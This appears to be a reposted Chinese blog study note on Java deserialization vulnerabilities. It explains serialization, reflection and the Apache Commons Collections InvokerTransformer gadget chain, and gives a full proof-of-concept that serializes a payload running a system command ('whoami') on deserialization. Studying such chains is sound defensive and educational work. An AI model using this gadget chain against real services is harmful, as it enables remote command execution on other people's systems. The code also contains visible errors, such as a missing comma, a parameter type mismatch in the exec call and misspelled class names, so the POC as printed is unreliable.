java反序列化漏洞原理研习，java基础面试笔试题

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我是靠谱客的博主炙热大炮，最近开发中收集的这篇文章主要介绍java反序列化漏洞原理研习，java基础面试笔试题，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

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零、Java反序列化漏洞

java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！

参考文档：感谢所有参考文献的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化：

在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。

 1 //引入必要的java包文件
2 import java.io.*;
3
4 //创建测试类，注意要继承Serializable接口
5 class serialdemo implements Serializable{
6
public static int number;
7
public serialdemo(int inputnum) {
8
this.number = inputnum;
9
}
10 }
11
12 //主类
13 public class test{
14
//测试主类
15
public static void main(String[] args) throws IOException, ClassNotFoundException {
16
//主函数入口
17
serialdemo object = new serialdemo(100);
18
FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
19
ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
20
outputstream.writeObject(object);//把类对象（实例）序列化进入文件
21
outputstream.close();
22
FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
23
ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
24
// 通过反序列化恢复对象obj
25
serialdemo object2 = (serialdemo)inputstream.readObject();
26
System.out.println("反序列化后的对象的值：");
27
System.out.println(object2.number);
28
inputstream.close();
29
}
30 }

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

1 └─[$]> java test
2 反序列化后的对象的值：
3 100

二、对java序列化的详解：

1、api定位：

1 /*
2 java.io.ObjectOutputStream
->
writeObject()
3 java.io.ObjectInputStream
->
readObject()
4 序列化把对象序列化成字节流
5 反序列化读取字节流反序列化对象
6 */

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

/*
在java运行状态中
1.对于任何一个类，都能判断对象所属的类；
2.对于任何一个类，都能获取其所有的属性和方法；
3.对于任何一个对象，都能调用任意一个方法和属性；
*/

三、反序列化的漏洞原理概述：

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

 1 //命令执行函数
2 public void test() throws IOException, InterruptedException {
3
Process process = Runtime.getRuntime().exec("whoami");
4
InputStream inputstream = process.getInputStream();
5
BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
6
process.waitFor();
7
if (process.exitValue() != 0) {
8
//说明命令执行失败
9
//可以进入到错误处理步骤中
10
}
11
//打印输出信息
12
String s = null;
13
while ((s = reader.readLine()) != null) {
14
System.out.println(s);
15
}
16
}

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：
 1 public class InvokerTransformer implements Transformer, Serializable {
2
3 ...
4
5
/*
6
Input参数为要进行反射的对象，
7
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
8
iArgs为对应方法的参数
9
在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
10
*/
11
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12
super();
13
iMethodName = methodName;
14
iParamTypes = paramTypes;
15
iArgs = args;
16
}
17
18
public Object transform(Object input) {
19
if (input == null) {
20
return null;
21
}
22
try {
23
Class cls = input.getClass();
24
Method method = cls.getMethod(iMethodName, iParamTypes);
25
return method.invoke(input, iArgs);
26
27
} catch (NoSuchMethodException ex) {
28
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
29
} catch (IllegalAccessException ex) {
30
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
31
} catch (InvocationTargetException ex) {
32
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
33
}
34
}
35
36 }
只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

1 ConstantTransformer
2 把一个对象转化为常量，并返回。
3
4 InvokerTransformer
5 通过反射，返回一个对象
6
7 ChainedTransformer
8 ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

1 /*
2 1、java反序列化可以远程执行命令。
3 2、java执行命令用到Runtime.getRuntime().exec("whoami");
4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。
5 4、ConstantTransformer可以把对象转换为常量返回。
6 5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
8 */

POC的思路：

1 /*
2 1）首先构造一个Map和一个能够执行代码的ChainedTransformer，
3 2）生成一个TransformedMap实例
4 3）实例化AnnotationInvocationHandler，并对其进行序列化，
5 4）当触发readObject()反序列化的时候，就能实现命令执行。
6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
7 */

分析大牛poc核心代码逻辑：


1 /*
2 核心逻辑表达式：
3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
4 主函数中：
5 1、定义一个要执行的命令字符串：String commandstring = "whoami";
6 2、定义一个执行逻辑：
7 Transformer[] transformers = new Transformer[] {
8
new ConstantTransformer(Runtime.class),
9
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
10
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
11
new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
12 }
13 3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)：
14 Transformer transformedChain = new ChainedTransformer(transformers);
15 4、后面是关于不关心的东西，写死即可：
16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
17 BeforeTransformerMap.put("hello", "hello");
18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
21 ctor.setAccessible(true);
22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
23 File f = new File("temp.bin");
24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
25 out.writeObject(instance);
26 */
27
28 //引入必要的java包文件
29 import java.io.File;
30 import java.io.FileInputStream;
31 import java.io.FileNotFoundException;
32 import java.io.FileOutputStream;
33 import java.io.IOException;
34 import java.io.ObjectInputStream;
35 import java.io.ObjectOutputStream;
36 import java.lang.annotation.Retention;
37 import java.lang.reflect.Constructor;
38 import java.util.HashMap;
39 import java.util.Map;
40 import java.util.Map.Entry;
41
42 //引入第三方包文件，也就是关于apache的那几个包
43 import org.apache.commons.collections.Transformer;
44 import org.apache.commons.collections.functors.ChainedTransformer;
45 import org.apache.commons.collections.functors.ConstantTransformer;
46 import org.apache.commons.collections.functors.InvokerTransformer;
47 import org.apache.commons.collections.map.TransformedMap;
48
49 //主类
50 public class POC_Test{
51
public static void main(String[] args) throws Exception {
52
//定义待执行的命令:
53
String commandstring = "whoami";
54
//定义一个反射链，确定预定的转化逻辑
55
/*
56
定义一个反射链的方法：
57
Transformer[] varitename = new Transformer[] {
58
new ConstantTransformer(Runtime.class),
59
new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
60
new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
61
new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
62
}
63
*/
64
Transformer[] transformers = new Transformer[] {
65
new ConstantTransformer(Runtime.class),
66
/*
67
由于Method类的invoke(Object obj,Object args[])方法的定义
68
所以在反射内写new Class[] {Object.class, Object[].class }
69
正常POC流程举例：
70
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
71
*/
72
new InvokerTransformer(
73
"getMethod",
74
new Class[] {String.class, Class[].class },
75
new Object[] {"getRuntime", new Class[0] }
76
),
77
new InvokerTransformer(
78
"invoke",
79
new Class[] {Object.class,Object[].class },
80
new Object[] {null, null }
81
),
82
new InvokerTransformer(
83
"exec",
84
new Class[] {String[].class },
85
new Object[] { commandstring }
86
//new Object[] { execArgs }
87
)
88
};
89
90
//transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
91
Transformer transformedChain = new ChainedTransformer(transformers);
92
93
//BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict
94
//Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
95
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
96
BeforeTransformerMap.put("hello", "hello");
97
98
//Map数据结构，转换后的Map
99
/*
100
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
101
第一个参数为待转化的Map对象
102
第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
103
第三个参数为Map对象内的value要经过的转化方法。
104
*/
105
//TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
106
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
107
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
108
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
109
ctor.setAccessible(true);
110
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
111
File f = new File("temp.bin");
112
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
113
out.writeObject(instance);
114
}
115 }
116
117 /*
118 思路:构建BeforeTransformerMap的键值对，为其赋值，
119
利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
120
对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行
121
122
执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
123
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
124
125 */

转载：https://www.cnblogs.com/KevinGeorge/p/8448967.html

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